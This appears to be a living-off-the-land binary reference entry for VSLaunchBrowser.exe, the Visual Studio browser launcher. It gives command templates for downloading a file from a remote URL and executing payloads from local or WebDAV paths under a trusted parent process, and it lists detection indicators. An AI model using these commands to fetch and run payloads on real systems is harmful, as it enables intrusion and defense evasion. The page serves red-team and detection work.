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VSLaunchBrowser.exe

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Microsoft Visual Studio browser launcher tool for web applications debugging

DownloadExecute
03COMMAND EXAMPLES
02ATT&CK TECHNIQUES
00DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

3 examples

Download1

EXAMPLE 01T1105

Download and execute payload from remote server

COMMAND
VSLaunchBrowser.exe .exe {REMOTEURL:.exe}
USE CASE
It will download a remote file to INetCache and open it using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.
PRIVILEGES
User
OPERATING SYSTEM
Windows
Download · INetCache

Execute2

EXAMPLE 01T1127

Execute payload via VSLaunchBrowser as parent process

COMMAND
VSLaunchBrowser.exe .exe {PATH_ABSOLUTE:.exe}
USE CASE
It will open a local file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.
PRIVILEGES
User
OPERATING SYSTEM
Windows
Execute · EXE
EXAMPLE 02T1127

Execute payload from WebDAV server via VSLaunchBrowser as parent process

COMMAND
VSLaunchBrowser.exe .exe {PATH_SMB}
USE CASE
It will open a remote file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.
PRIVILEGES
User
OPERATING SYSTEM
Windows
Execute · EXEExecute · Remote
02 / ON DISK

Known paths

C:\Program Files\Microsoft Visual Studio\<version>\Community\Common7\IDE\VSLaunchBrowser.exe
C:\Program Files (x86)\Microsoft Visual Studio\<version>\Community\Common7\IDE\VSLaunchBrowser.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

0 resources

Indicators & detection notes

  • IOC

    cmd.exe as sub-process of VSLaunchBrowser

  • IOC

    URL on a VSLaunchBrowser command line

  • IOC

    VSLaunchBrowser making unexpected network connections or DNS requests

COMMUNITY RESEARCH

Acknowledgements

Avihay Eldad@AvihayEldad